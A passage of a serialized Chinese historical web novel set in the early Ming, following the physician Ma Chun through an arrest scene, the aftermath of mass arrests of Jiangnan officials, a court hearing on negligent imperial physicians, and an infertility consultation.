“啊”他忍不住发出一声低低的喟叹。
马淳手下不停,声音平稳:“失衡则病。阳亢则燥热狂乱,阴盛则凝滞寒痹。寒热失度,气血不畅,疾便从内生。这‘后门’之火毒积聚,便是一例。”
“治病求本,非一味以猛药‘镇压’那火毒便能长治久安。或导之,或引之,或补其不足之地,泻其过盛之处,使其水火相济,阴阳相抱,复归‘中正平和’,不偏不倚之道。病根自消,疾痛不再。”
“一味强攻,看似一时痛快,实则埋下更大祸根。”马淳又取一针,刺入另一穴位,“如同这朝廷,这天下。”
李源身体的痛楚被源源不断注入的温煦感安抚着,脑子也比刚才清醒了些。
听到“朝廷”“天下”二词,他眼皮猛地一跳。
马淳的针稳定而精准,“世间万相,运行自有其道。譬如大河奔流,有主脉,有支流,有蓄水之湖泽,亦必有疏导之堤堰。其力,有刚猛,有柔韧;其位,有高有低;其势,有疾有缓。”
“若只求主脉浩荡,不容泥沙淤积,无视支流丰枯,强自裁削或堵塞,势必冲决堤防,酿成滔天大祸。”马淳眼神沉静地看着李源,“反之,若放任肆意,全无规制,泥沙淤积,侵占河道,则主脉亦会断流干涸,百川乱涌,祸害周遭。”
这章没有结束,请点击下一页继续阅读!马淳何等聪明,当然知道这李主事也卷入了‘皇嗣案’当中。
此人看似是在抱怨勋贵们的贪得无厌,其实还是在为自己这一帮人开解。
意思很明白我们之所以这样做,不是因为我们这些人坏,而是在纠正朝廷的错误。
“为医如此。为上者,何尝不以此为鉴?”
“‘和’非表面一团和气,而是各安其位,各尽其职,相互制衡,力往一处使。‘衡’非僵硬死板,乃是刚柔相济,张弛有度,顺应大势,引而不发。”
“需疏,需引,需调节,需补益不足,亦需抑制太过。使其力有可用处,权有节制处,心有所安处,这才是长治久安之基。”
李源张着嘴,马淳这番话如同醍醐灌顶,又如同锐利的针,刺破了他心中积郁多年的迷雾。
他那些愤怒、委屈、不得已而为之的苦楚,在这番关于“平衡”与“中正”的医道天下论面前,似乎变得有些狭隘了。
他一直以为他们这些“清流”是在对抗贪婪的勋贵,是在“拨乱反正”。
可是“拨乱反正”本身,似乎也是一种对既有状态的强力打破。
打破之后建立的,就真的只是他们想象中的“正”吗?
这“正”与“邪”,这“好”与“坏”,是否本身就是一种失衡?
马淳的话语里没有站队,没有评判勋贵或者清流的好坏对错,他说的是一种更根本的、更宏大的规则。
他们这些寒窗苦读,以为自己秉持公心,用些见不得光的手段对抗勋贵的官员所求为何?
仅仅是为了扳倒那些他们认为腐败的勋贵,让自己这群人上位吗?
李源的心猛地一沉。
他那些账目上的手脚,那些克扣的口粮,那些截留的料款即便冠以再冠冕堂皇的理由,追根溯源,不正是一种为了对抗“勋贵之过”,而采取的另一种“过”?
一种打破原有平衡的手段?
打破旧的平衡,建立新的平衡可这新建立的,真的是他们口中那个理想化的、纯粹的平衡吗?
他们似乎从未认真思考过这个“新”的根基,以及那过程中流下的血汗和付出的代价。
他们更像是在用新的混乱和不公,去取代旧的混乱和不公,只因这“新”的暂时打着自己认可的标签?
冷汗,比之前身体痛苦时冒出的更多,湿透了李源的后背。
他感觉肛门处的火辣疼痛在马淳的针下退却了大半,但更深沉的冰冷,从他的心底蔓延开。
他输在哪里?
他和那些他所效力的、志同道合的人,究竟输在哪里?
就在这时——
嘭!
诊室的门被推开!
一个高大的身影堵在门口,几乎遮住了门外所有的光亮。
那人穿着皂底红边的飞鱼服,腰间的绣春刀并未出鞘。
他脸上没什么表情,目光锁定在李源的脸上。
来人身后,还默立着几道同样身着锦衣的身影。
李源浑身剧震,瞳孔猛地缩紧。
他下意识地想站起来,却因为下身骤然升起的恐惧麻痹和患处残留的不适,两腿一软,又跌坐回凳子上。
马淳手中的动作连半分停滞都没有。
他刚刚刺下最后一枚针,正拈着针尾,仿佛根本没有感觉到这突如其来的闯入者,也没有看到李源那瞬间濒死般的表情。
蒋瓛的目光只在李源身上停留了一瞬,便转向了马淳。
他抬步走了进来。
走到离诊桌三步远的地方停下。
没有说话,但那沉默比任何喝骂都更令人窒息。
他的眼神,就那么直直地看着马淳,也看着马淳手下尚未完成的针灸。
诊室里死一样的寂静。
马淳捻完了最后一圈,终于停下手指,这才抬眼,完全正面地看向蒋瓛。
目光不卑不亢,平静得如同深潭。
“蒋指挥使光临寒舍,有何见教?”
“马神医在诊病?叨扰了。”他的声音和他的人一样,透着一股冰冷。
两人在外人面前,会装作不熟的样子。
这是对二者的保护。
“奉旨办差,请工部主事李源,随本官走一趟。”
李源的身体又是一颤,筛糠般抖了起来。
他闭上眼睛,似乎彻底绝望。
一切都结束了。
来得太快了。
马淳的目光再次落回李源身上,确切地说,是落在他后腰那几根明晃晃的银针上。
“哦。办差自然要紧。”马淳点了点头,“不过此刻,我在施针,正行气活血,散其下焦蕴热。此刻拔针,其患处火毒骤散未尽,恐由经脉逆冲心脑,不死也得半瘫。”
他稍微顿了顿,看向蒋瓛,眼神依旧平静无波:“蒋指挥使稍待片刻。等李主事体内气血行过半个周天,我将针拔出。那时人清醒无碍,你想带走便带走。”
这话说得清清楚楚,既不阻拦对方办差,也不妥协于对方的权威,只从医者角度阐述了必须完成的必要程序。
蒋瓛的脸上没有任何表情变化。
本小章还未完,请点击下一页继续阅读后面精彩内容!最终,他什么也没说。
向后退了半步,站到了靠窗的阴影里。
李源刚刚因为马淳的话语而在绝望中萌生出一丝丝希望的心,再次被冰水浇透。
他知道,这片刻的喘息,不过是死缓。
也更明白,像马淳这样的人,是绝对不可能站在任何一种立场上的。
他是国舅!
天下第一国舅!
所以他的立场,永远只能站在中间。
靠皇权太近,皇帝会怀疑,国舅是不是想揽权!
离皇权太远,皇帝会怀疑,国舅是不是有二心!
所以对于马淳来讲,最好的距离就是若即若离。
尤其现在马淳是作为大夫的身份出现,其实是最好的。
李主事其实也想过,能不能靠着马淳的关系,帮助自己一二。
可现在看起来,一切都是徒劳。
完了!
全完了!
他的妻子,他的老母亲,还有那些牵连进去的那些无辜的下属。
恐惧和无法挽回的绝望终于冲垮了某种堤防。
近乎歇斯底里的倾诉欲突然爆发了出来。
目标不是那随时可以取他性命的蒋瓛。
而是眼前这位给了他短暂医者关怀的马淳。
“马神医你看到了,这就是下场……呵呵……呵呵呵……”
他干笑了几声,笑声凄惨又空洞。
“我知道,我知道我活不成了,我就是个例子,一个摆在你们大家面前的例子!”
李源的声音猛地拔高,带着不顾一切的疯狂,眼睛死死盯着墙角的阴影:
“告诉陛下!告诉所有人!我李源敢作敢当!我贪了!我挪了!我用那点银子填了那些老蛀虫们贪得无厌的窟窿!我不后悔!至少至少皇城的墙没倒!至少工部的账当时糊弄过去了!哈哈哈!”
他的笑声像破锣。
“我蠢啊!我真的蠢!以为凭那么点小动作,就能让上面的人看到我们的难处就能改变什么,原来还是会被碾碎”
他不再看马淳,只是失魂落魄地盯着自己的膝盖:
“蒋指挥使好威风啊,拿着陛下的刀,现在真是想抓谁就抓谁。”
他猛地抬起头,用尽最后的力气吼道:
“可您自己也想想吧,蒋大人!
“你今天威风凛凛地拿着这把刀,砍向一个工部小官,砍向那些户部的小吏,砍向一个又一个像我这样不得不做点事情的人,你觉得你能砍到几时?”
“当年的毛指挥使!不也是执掌镇抚司,风头无两吗?那些年他抓了多少人?查了多少‘大案要案’?结果怎么样?!”
他恶狠狠地吐出最后几个字:“兔死狗烹!”
诊室里,只有他嘶哑而癫狂的质问声在回荡。
“他死了!死得不明不白!你蒋大人现在这把刀用得越顺手,得罪的人也就越多!你以为这些人都是孤家寡人吗?谁背后没有点千丝万缕?”
“我们这些小卒子是蝼蚁,是被推出来死的!可我们也有眼睛!看着呢!都看着呢!那些躲在勋贵背后不!那些可能就是勋贵们授意我们去行事的人会记得你这把刀!他们会在心里一笔一笔地给你记着!记清楚喽!”
“等哪一天,等陛下觉得这把刀用得不顺手了,觉得这把刀碰了他不想碰的人或者这把刀‘火候’过了、碍眼了,陛下翻起旧账,或者需要平息某些人的怒火,需要杀个人让大家都‘满意’的时候……”
李源的声音冰冷如霜:
“蒋大人,你猜猜,这把砍过无数人的刀,它的下场会是如何?会不会也咔嚓一下……”
他伸出手,做了个斩首的动作。
“步了毛骧大人的后尘啊!”
他死死盯着那片阴影,语气里充满了恶毒的“好意”:
“所以所以啊蒋大人!你行行好!高抬贵手!睁一只眼闭一只眼不好吗?”
“抓我一个就够了!够啦!真的够啦!”
“那些被我们挪用来填坑的下属小吏!那些迫于无奈帮我们做账的户部小官!他们他们懂什么大道理啊?他们就是混口饭吃!被夹在中间!被威逼利诱着做一些小事!”
“他们跟我一样!只是想活着!只是想让家里老娘吃顿饱饭!让媳妇孩子冬天有棉衣穿!”
“他们不是主谋啊!他们只是只是一些小得不能再小的虫子!你何必费劲踩死他们呢?”
李源的泪水混着冷汗流下来,几乎是乞求着对着那片阴影嘶喊:“放他们一条生路吧!蒋大人!!”
蒋瓛连眼皮子都没有抬一下。
他像个又聋又瞎的泥塑,站在那里,一动不动!!
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第249尘埃落定?抓了一千五百江南籍官员
雪像是终于喘过了气,势弱了些。
京城静得不同寻常。
那令人窒息的铁链声、喝令声,持续不断地响了一个多月,如今终于稀落了。
但这静,反倒让人心悬得更高。
就像暴风眼中心的死寂,谁都知道更大的波澜在后面。
茶馆里,稀稀拉拉坐着几个茶客。
茶水早凉了,没人有心思续。
“听说,停了?”一个行商打扮的压低嗓子问邻座,“今早看到蒋阎王……看到蒋指挥使的车驾回皇城了。”
“停了?”另一个头发花白的老秀才搁下冷茶碗,嗤笑一声,“停的是抓!审,才刚开始!”
他伸出两根手指,又抖了抖,“光官!穿官袍的那种!应天府大牢塞满了,镇抚司诏狱底下人挤人挤得快没地儿下脚,就听说,抓了一千三……还是往少了说!”
“一千三百多?”行商眼都直了,“全是……?”
“江南口音呗!”一个壮实的汉子闷声道,“茶馆里都听腻了!昨儿城门口押进来一串,哭天喊地的,全是吴侬软语,能听出是姑苏那边的调子!”
老秀才叹口气:“前有胡惟庸案,杀得人头滚滚血流漂杵。这才消停几年?又一场!这次更齐整,专盯着江南籍的来!”
“齐整?”行商疑惑,“不是说主犯是那什么江南巨商……”
“屁!”壮汉打断他,“没那些大老爷们在背后撑着,指使着,搭桥铺路,他一个商贾能摸到宫里的边?能算计太子妃、皇长孙?”
他环顾四周,声音压低:“都说啦,这次可一点不冤!抓进去的,甭管官大官小,甭管之前装得多清高多委屈,一审,嘿!”
“怎么说?”行商追问。
“都招了!”壮汉一拍大腿,“心甘情愿得很!知道自己在干啥!说是在拔刺,清君侧!”
“清君侧?”老秀才眉头拧成死疙瘩。
“没错!”壮汉唾沫星子飞溅,“就是清君侧!清的是咱们陛下身边的淮西老勋贵!他们说常家、蓝家那些,仗着是开国功臣,又是太子妃皇长孙的母族亲眷,跋扈得没了边,长此以往,必定动摇国本!”
他喘口气,学着那些官老爷的腔调:“‘扳倒常氏,断淮西外戚登天梯!剜掉朱雄英这颗淮西毒瘤,才是为江山社稷!’听听!听听这话!多光鲜,多堂皇!敢情毒杀皇嗣还是为了咱大明好?”
“疯了……都疯了……”行商听得脊背发寒,“那……那些淮西勋贵们呢?他们该高兴了吧?死对头给一锅端了。”
“高兴?”壮汉咧咧嘴,“你去问问他们,高兴得起来吗?”
……
宋国公里,暖炉烧得极旺。
几个老家伙却像是坐在冰窟窿里。
颖国公傅友德捏着青花瓷的茶杯盖,盯着炉火,半天没吱声。
“他娘的……”宋国公冯胜啐了一口酒气,“……江南那帮酸丁,心是真他娘的黑!手是真他娘的毒!”
永平侯谢成摩挲着自己左手小指上一道狰狞的旧刀疤,那是早年沙场上留下的。
“老冯,你说……”他开口,声音干涩,“要不是……要不是那突然蹦出来的马家小子……”
他没往下说,端起酒杯猛灌一口。
酒太烈,呛得他一阵咳嗽。
“怎么着?”傅友德终于抬头,“你是想说,要不是马淳从死人堆里把雄英捞回来,这会儿……”
“那姓吕的娘们生的朱允炆,早就该坐在东宫正位上了!”冯胜把话接过去,“江南那些蛆,用这种下三滥的法子,差一点就真他娘的成了!”
整个偏厅一下子死寂。
成了……
成了,意味着什么?
意味着太子的嫡长子、流淌着常遇春血脉的朱雄英,早已悄无声息地死在那个痘疫肆虐的夜晚。
意味着东宫之位,会顺理成章地落到朱允炆头上。
而朱允炆……
他们不约而同地想到了那个温柔顺从、却出自江南士林吕氏的女儿——太子妃吕氏。
她背后牵连的,正是如今正在诏狱里哀嚎、被铁链锁拿的江南士绅网络!
还有吕家的势力!
那意味着,当朱允炆登基,今日被捆绑在诏狱铁链上的那些人……
不,是那些人背后盘根错节,遍布江南乃至渗透朝堂的庞大力量,将彻底翻身!
他们将堂而皇之地坐上权力的宝座!
整个朝堂的风向,将彻底倒向江南!
冯胜只觉得一股寒气从他脊椎骨缝隙里往上猛蹿,直冲天灵盖!
那帮酸臭文人、富得流油的豪商、盘踞地方几百年的豪强……
他们会如何对付曾经压在头顶。让他们恨得牙痒痒的淮西勋贵?
沙场上的明刀明枪他们或许不怕,可那些口蜜腹剑的算计?
那些润物细无声的排挤?
那些握着笔杆子、钱袋子、粮袋子织就的罗网?
“现在……”武康侯侯振疆开口,“现在被抄家灭族、如同待宰羔羊的本该是我们?”
没有答案。
本小章还未完,请点击下一页继续阅读后面精彩内容!答案在每个人苍白的脸上,在微微颤抖的手上,在惊惧后怕的眼神里。
“差一点……”傅友德终于放下杯盖,“就只差那么一点啊。”
他的视线投向窗外阴沉的,又开始飘起零落雪花的天空。
那个叫马淳的小子,那张脸上是玩世不恭?是悬壶济世?在无形中,轻描淡写地拨动了一下决定无数人生死,改写整个大明未来走向的命运之盘?
颍国公府邸。
书房紧闭。
傅让端了热茶进来,小心翼翼:“父亲……”
傅友德摆摆手,示意他出去。
他独自站在挂着的巨幅北境地图前,手指缓缓划过那些标注着险关隘口的墨线。
这双手,曾在蒙古铁骑中杀出血路,砍断过无数敌人的旌旗。
此刻却感到一丝不易察觉的寒意。
江南那些士绅……
他猛一转身,对着空荡的书房低吼出来:“蠢!简直是自寻死路!”
他在骂那些被投入大狱的江南官员。
不是骂他们谋害皇嗣。
而是骂他们做事不够狠绝!
“动刀!要么就别动!动,就要斩草除根!永绝后患!”傅友德的低吼。
“既然敢向太子妃和皇长孙伸手,为什么不做得再绝一点?!”
“为什么不把路彻底堵死?让那个叫马淳的小子根本没机会伸手?!”
“让朱雄英死透了,让淮西在储君之位上一丁点念想都断了!那才是你死我活!”
他像是在呵斥战场上一个贻误战机的偏将。
“妇人之仁!做大事而惜身!首鼠两端!活该!”
当然他之所以会在这里发泄,是因为,听完了同僚们的分析之后,他一直都在庆幸。
他们都知道,如果不是马淳阴差阳错之下,救了朱雄英。
那么今日被铁链锁着,必然是他们这些淮西勋贵。
因为不用吕氏他们搞阴谋诡计。
只要确立了皇太孙的位置是朱允炆,他们这些淮西勋贵就是一根刺一样的存在。
不管太子殿下能不能驾驭得住自己等人,只要朱允炆登基,他们就没有好下场。
而现在他们不用担心了。
另一处深宅大院的密室。
没有生火盆,寒气刺骨。
“败了。”一个戴着玳瑁眼镜的老者,“败得一败涂地。”
“非是谋划不周,非是手段不力。”另一个穿着藏青色棉袍,手拢在袖中的儒雅老人接话,“我们小看了一个人。”
“马淳。”
这名字在密室狭小的空间里回荡。
“一个本应在那场疫病里病死,却奇迹般活下来,得了秘法传承的方术医者?”
“一个顶着国公头衔,却钻营在市井医馆里给人看痔疮、治风寒的‘傻子’?”
“……一个能把皇长孙从天花绝地里生生拉回来的活神仙?”
几个声音,不同语调,汇聚在最后那个名字上。
“他治的不是病。”藏青棉袍的老人缓缓睁开眼,“他动的是命数。”
“淮西那群跋扈勋贵的命数……”
“东宫储位的命数……”
“……甚至,是我们江南士林几百年来积攒下,眼看就要登顶的机会!”
他深吸一口气,“全被他一手搅了!拨乱了!”
谁都知道。
这根,被一个谁也没放在眼里的“小人物”,掘断了。
淮西勋贵与江南士林。
这对积怨已久、互相视对方如眼中钉肉中刺的死对头。
在这一场席卷天地的风雪寒潮里。
在锦衣卫如狼似虎的铁链下。
在刑部大牢那深不见底的绝望中。
在各自最隐秘也最真实的后怕恐惧里。
第一次,竟然感受到了一种荒谬的、冰冷的、命运同病相怜的寒意。
江南人的血染红了雪地。
淮西人的背心里,也冷汗涔涔,冰凉一片。
因为所有人都突然看清了——无论是勋贵的刀,还是士绅的笔。
在皇权这柄悬顶的铡刀面前。
在那只翻手为云覆手为雨的无形巨手拨弄之下。
在某个搅动了所有命盘的变数出现时……
都显得,那么脆弱可笑。
不堪一击。
魏国公徐达策马从英烈园高大的石牌坊前经过。
他紧了紧缰绳,园子里,埋葬着他许多并肩浴血、如今只剩名字刻在冰冷石碑上的老兄弟。
马蹄踏在铺了薄雪的青石路上,嗒嗒作响。
老管家徐安跟在几步之外。
风吹着他灰白的鬓发。
他看着自家公爷在马背上宽阔挺拔却略显孤峭的背影,犹豫再三,还是驱马上前两步,低声道:“公爷,今儿城里传得更厉害了……”
徐达没回头,只是略微放缓了马速。
“哦?说什么了?”
徐安舔了下干裂的下唇:“说江南官场这次怕是真要塌了半边天,一千多号人,还不算他们身后站着的那些富户士绅,牵连甚广……”
他顿了顿,“还说……还说颖国公爷、宋国公爷他们那边也惊得不轻……”
“他们?”徐达嘴角扯动了一下,“惊什么?”
徐安默了片刻,“……说幸亏大姑爷神勇无双,硬是把皇长孙从阎王殿里拉回来了,不然…不然今日那些江南老爷们戴的镣铐,怕是…怕是…要戴在他们几位的手上……”
徐达沉默地控着马,任由雪花落在他的皮弁和肩头。
胯下的骏马喷了个响鼻。
“戴在他们手上?”徐达的声音终于响起,“你以为……现在不就在手上掂量着么?”
徐安一愣,没懂。
徐达的目光扫过英烈园里那些静静矗立的石碑。
石碑沉默,碑上的名字也沉默。
有些名字后面跟着显赫的爵位封号。
有些则只剩下简单的籍贯和姓名。
他勒住马缰,停在道路中央。
回望那片无声的坟冢。
“老安哪……”雪花落在徐达花白的眉毛上。“你说……咱大明朱家这顶冠子……得用多少血来擦?”
老管家徐安垂下了头。
再也没有出声问一句。
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第250章 坐视主母被毒医道败类,罪不容诛
雪停了。
马淳裹着件半旧的靛青棉袍,抄着手,往刑部衙门的偏门走。
今天他作为专家,要配合刑部审讯几个太医院曾经的太医。
蒋瓛站在几丈外廊下阴影里,两人眼神在空中一碰,蒋瓛微微颔首,便转开视线。
马淳脚下没停,掀开厚棉帘子,进了屋。
堂内光线比外面更暗。
三盆炭火烧着,暖烘烘,却驱不散那股沉甸甸的阴寒。
油灯的光摇摇晃晃,照见堂下跪着的几个干瘪身影——正是东宫原常氏身边的几个老太医。
几个老头抖得像秋风里的枯叶,官袍早就扒了,只裹着不合身的灰黑囚衣。
主审的刑部侍郎敲了下惊堂木。
“人带到了。”马淳拱拱手,声音平平淡淡,连个称呼都省了。
他走到一旁预备好的椅子边,大喇喇坐下,抄起暖手炉焐着。
他就是个被请来确认证词的“技术”。
侍郎清了清喉咙,拿起案卷:“尔等!再供一遍!太子妃常氏当年难产血崩,究竟缘何?!那温玉散,又是从何入口?!”
为首头发花白的老太医,猛地一哆嗦。
“青天老爷!冤枉啊!”声音嘶哑,带着哭腔,“老臣……老臣糊涂!全是那太医院使张阔海!是他!是他威逼利诱,说那是安胎养元的上品贡药……
“老臣……老臣等不过奉命查验了药材成色,断不知其中有鬼啊!”
他抬起涕泪横流的老脸,“那药引……那药引极毒,若知是那等阴蚀穿肠之物,借老臣百个胆子也不敢呈给太子妃!张阔海该死!他已被正法,此案……此案实在不干我等事啊!”
其余几个太医也跟着猛磕头,赌咒发誓,只认看过外形色泽,没验过根本毒性,更不知其名为“温玉散”背后阴毒。
堂上静了一瞬。
侍郎看向马淳。
马淳没动,焐着暖炉的手也没动,只有眼皮撩开,落在下头那几个抖得更厉害的脑袋上。
“查验成色?”他开口了,“只看外形色泽?”
他缓缓放下暖炉,站起身。
“好一个奉命查验!好一个不知其毒!”
马淳一步一步走到堂中,停在离那几个老头三步远的地方,居高临下地看着他们。
“那我问你们几个——当年常娘娘的脉象,最后几月,是何模样?”
老太医们噎住了,哭声停了,互相瞟着,眼神闪躲。
“说!”刑部侍郎厉喝。
为首的太医嘴皮哆嗦着:“启……启禀大人……娘娘气血略亏……胎象……胎象……”
马淳冷笑打断:“脉沉而涩,乍起乍落,根脚不稳!是不是?”
太医头埋得更低了,不吭声。
马淳继续道:“脉涩主滞,主血瘀。胎元所需气血,本如抽薪,母体若根基稳固,脉象虽弱,当有神采,根基在,冲和之象不失!”
“可常娘娘的脉呢?!沉伏入骨,涩滞如刀刮枯木!精血被暗中强汲抽取的迹象!你们摸不出来?!”
几个太医筛糠似的抖。
“你们行医多少年?几十年总有了吧?望闻问切是糊弄鬼的?病人脉象里的生死气象分不清?”
马淳的声音在空旷的堂上回荡,字字如锤:
“好,就算脉象精微,一时疏忽。”
他往前走了一步,“温玉散性极阴,长服入体,病人必有征象!面色如何?!”
一片死寂。
没人敢答。
“面浮不浮?色白不白?可带青气?”马淳逼问,“尤其是常娘娘卧床待产那月余,服了‘安胎药’之后,面色是荣泽温润,还是青白失华?!”
仍是沉默。
马淳的声音更冷:“病人气力如何?可曾抱怨日益疲惫?心悸?手足逆冷不温?口中异味有无?”
“这些症候!任何一个病人身上出现,你们难道不该警惕?不该深究药石可有偏颇?不该质疑那所谓的‘贡药’?!”
“病人躺在那儿!气息越来越弱!脉象越来越怪!症状越来越明显!”
马淳猛地一指,指尖几乎戳到为首太医的鼻子:
“你们呢?!你们这些挂着济世活人招牌的太医!你们的眼睛是瞎的?!鼻子是塞的?!手摸脉是木头做的?!心肝都被狗啃了?!”
堂下连抖都不敢抖了。
几个老头瘫软在地上。
“张阔海死了!罪该万死!可你们是什么?”
马淳眼神扫过,带着无法言喻的鄙夷。
“你们不是帮凶?”
“你们是睁着眼睛看人死的哑巴!是拿脉象写催命符的屠夫!”
他深吸一口气,胸膛起伏,声音沉下来,带着浓重的、化不开的失望和愤怒:
“我不管太医院里有多少规矩!多少弯弯绕绕!多少你死我活的算计!”
“我只知道一点!大夫!穿上那身白袍,戴上这顶官帽之前,你首先得是个人!是个有心的活人!”
“干我们这行的,第一等要紧事是什么?!”
马淳的声音响彻大堂:
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“是无愧!是对得起躺在你面前把性命交付于你的这个人!”
“病人信你,你便担着泰山一样的干系!一丝一毫的懈怠,一丝一毫的隐瞒,一丝一毫因畏权势、贪富贵的含糊,都是往人家催命符上画押!”
他指着几个面无人色的太医,声音冰冷:
“你们不懂脉里的死气?不懂面色的衰败?不懂气力的枯竭?那都是人在呼救!在用最后一点气力敲响丧钟!”
“你们真懂!太懂了!”
“懂怎么装聋作哑!懂怎么推说不知!懂怎么把杀人刀裹上绫罗绸缎!然后心安理得地递上去!”
“什么医者?呸!”
马淳一口唾沫,重重啐在冰冷的地砖上,正落在那为首太医眼前。
“你们连屠夫都不如!屠夫宰杀牲畜,刀下见血,堂堂正正!你们宰杀的是皇嗣!是当朝太子妃!用的是软刀子!钝刀子!沾着自己所谓‘清高’和‘规矩’的恶心毒药!还自诩无辜?!”
几个太医彻底瘫了,像被抽了筋骨的鱼。
主审的刑部侍郎也怔住了,一时不知如何落笔。
马淳胸膛剧烈起伏几下,那股滔天的怒意似乎化作了沉重的疲惫。
他闭上眼,片刻,再睁开时,只剩下冰封般的沉静。
他不再看地上的人。
转向刑部侍郎,拱手:“大人要问的根底,这就是了。脉象、气色、症候……他们什么都清楚。张阔海递刀,他们闭眼递药。谋害主母,攀附新贵,这些心思,腌臜,但也不算秘密。”
他顿了顿,“无论你们刑律上怎么定他们的罪。在我眼里,他们早已被从‘医’这门行当里除名了。医道的门槛,他们不配沾边。”
说完,马淳径直转身。
没有再看任何人。
他走到门边,推开那沉重的棉帘。
门外灰蒙蒙的光透进来,他没入那片光里。
刑部大堂内,死寂无声。
几个太医伏在地砖上,如同一滩滩无法化开的、臭不可闻的烂泥。
笔录官舔了舔干裂的嘴唇,沙沙落笔:
“案犯对所害情状供认不讳。依马神医所证,太医院王、李、赵、孙、周五名院判,见太子妃常氏病脉转危,知温玉散服后症候凶险,为逢迎东宫新宠,不察不谏,明知故犯,坐视主母被毒……实属医道败类。罪不容诛……”
……
喜欢我在大明开医馆请大家收藏:()我在大明开医馆更新速度全网最快。
第251章 无精症!这在古代可是……
雪势渐弱。
积在医馆门檐上的白顶薄了几分。
冷风卷过,门帘被掀开一道缝,带进一股寒气,也钻进两个高大身影。
“哈!冻煞我也!”傅忠一进门就跺脚拍雪,嗓门洪亮,脸上带着惯有的豪爽,冲散了屋里弥漫的药材沉闷。
傅让紧跟其后,面色有点赧然,不如兄长自在。
马淳从药柜后抬头,有些意外:“二位世子?稀客。雪天路滑,怎有兴致过来?”
“别提了!”傅忠熟稔地拖过凳子坐下,自己拎起炉上温着的茶壶倒了两杯,“在家憋得慌!我爹这些天脸黑得能拧出水,见我就训!说我不学无术!还是你这儿清净!”
傅让默默接过兄长递来的热茶,暖着手。
“外面抓人抓得鸡飞狗跳,你们倒有心思串门子。”马淳也坐下来,给自己倒了杯茶。
茶水温热,雾气袅袅。
傅忠灌了一口茶,眉飞色舞:“就是抓得热闹才好看!你是不知道,昨儿菜市口才砍了一溜!血呼啦的!”
他压低了点声音,带着点幸灾乐祸:“蒋阎王这回算是开荤了!江南那些酸丁,平日里鼻孔朝天,讲究风骨,啧啧,钢刀架脖子那会儿,跪得比谁都快!哭爹喊娘的,什么家财万贯,什么十年寒窗,全他娘的成屁了!”
他拍着桌子大笑:“痛快!可算出了一口恶气!让他们暗地里使绊子!毒害皇嗣,敢在陛下眼皮子底下玩这套!这回抓了个底朝天!听说都快抓出一千五百号了!我的天爷!”
傅让皱眉:“哥,你小声点。”
“怕什么!马神医又不是外人!”傅忠浑不在意,“再说了,国公爷你是不知道那些人,仗着有几个臭钱,读几本破书,天天想骑在咱们这些勋贵头上拉屎!呸!这回抓得好!全他娘的现了原形!”
他唾沫横飞,将外头听来的风声添油加醋讲了一通。
说到兴起,手舞足蹈。
“有个礼部的老学究,家里抄出几万两!全是现银!你说他靠那点俸禄?鬼才信!
“还有那啥米行东家,平日里装善人,修桥铺路,结果暗地里囤积居奇!粮仓下面挖地窖,存的粮食够全城人吃小半年!等着发国难财呢!都被翻出来了!”
马淳静静听着,偶尔端起茶碗抿一口,不置可否。
傅让则有些坐立不安,几次欲言又止。
傅忠终于宣泄完他那点“快意恩仇”,扭头见弟弟蔫蔫的,一巴掌拍在他肩上:“咋了?拉着个脸,跟被霜打过的茄子似的!放心,咱爹虽然板着脸,但他心里明白着呢!这次咱们没事!咱家根正苗红!”
傅让脸更红了,尴尬地咳嗽一声,眼神躲闪,飞快地瞥了马淳一眼。
马淳注意到了:“二公子有事?”
“没……没事……”傅让支支吾吾。
“嗨!这小子!跟自己哥哥、国公爷有啥不能说的!”傅忠大咧咧道,凑近马淳,声音不大不小,“国公爷,你别看他五大三粗,是遇上男人都难开口的事儿了!”
傅让急了:“哥!”
傅忠不管他:“他媳妇!我那弟妹!进咱傅家门都小半年了!肚子一点动静都没有!这小子急得夜里觉都睡不好!又抹不开面子去外头瞧那些江湖郎中!
“我说你傻啊?有国公爷这现成的国手在!非得憋出病来?”
傅让脸腾地红到了耳朵根,差点把茶碗捏碎,恨不得找个地缝钻进去:“哥!你胡咧咧啥!积点口德吧!”
“实话嘛!”傅忠一脸无辜,“这有啥好害臊的?生孩子可是大事!”
马淳放下茶碗,神色如常,并没有流露丝毫异样。
身为医者,这对他而言再寻常不过。
“请脉本就是我的本行,二公子何必有顾虑。”他对傅让示意,“手伸出来。”
傅让又羞又窘,但在兄长和马淳坦然的注视下,还是磨磨蹭蹭伸出了手腕。
马淳三指搭上脉搏,凝神细查。
傅忠立刻凑过来,眼睛瞪得像铜铃,仿佛想从脉象上看出一朵花来。
室内一时安静下来。
片刻后,马淳眉头微不可察地蹙了一下,抬眼看向傅让。
傅让被看得心头一紧,声音都变了调:“马……国公爷,是不是……有问题?”
马淳没直接回答,收回手,问道:“二公子这半年,饮食上可有什么特别之处?或者,吃过什么寻常不易吃到的东西?”
傅让努力回想:“饮食?府里饭菜都正常……也没什么特别……”
傅忠突然插嘴:“对了!我记起来了!中秋那会儿,府里来客,送了几坛子岭南来的‘百补蛇胆酒’,说是稀罕物,大补元气!壮阳的!那酒颜色透亮,黄澄澄的!他喝得最多!还夸那味冲鼻子才够劲儿!”
傅让也想起来了,脸色顿时发白:“是……是有这事!那酒后劲足,我喝了几回!国公爷,难道是酒有问题?”
“酒或许无大碍。”马淳示意他别慌,“那酒后,二公子是否觉得……平日排溺,气味颜色都与往日不同?”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!傅让仔细一想,冷汗就下来了:“这……这我倒没太在意……但好像……是有点,排起来……好像比以往顺畅?颜色似乎黄了些……”
“这就对了。”马淳点点头,“那‘蛇胆酒’用的料猛,蛇胆本身又是苦寒泄火之物,寻常喝些清热明目无妨,但过量,尤其是那几坛……”
他顿了顿,组织语言:“像是烧火做饭,灶火太旺,不光把饭烧焦,时间长了,连底下塞着的柴火也烧光了。男子身上的‘生机之源’,就像那些藏在灶膛底下的‘新柴’种子,被那过猛的火气烤焦,化不出来了。”
傅让听得脸色灰败,声音发颤:“‘新柴’……化不出来……那……那我岂不是……”
“绝后?”傅忠也吓着了,脱口而出。
傅让听兄长说的这么可怕,脸都白了。
“倒也未必绝后。”马淳摆手,“只是损伤不小。暂时,那源头之精如同被野火燎过的山林,元气大伤,自然难有新苗长出。也就是所谓的……无精之症。”
“无精?!”这两个字像惊雷砸在傅让头上,他整个人都晃了一下,差点从凳子上栽下去。
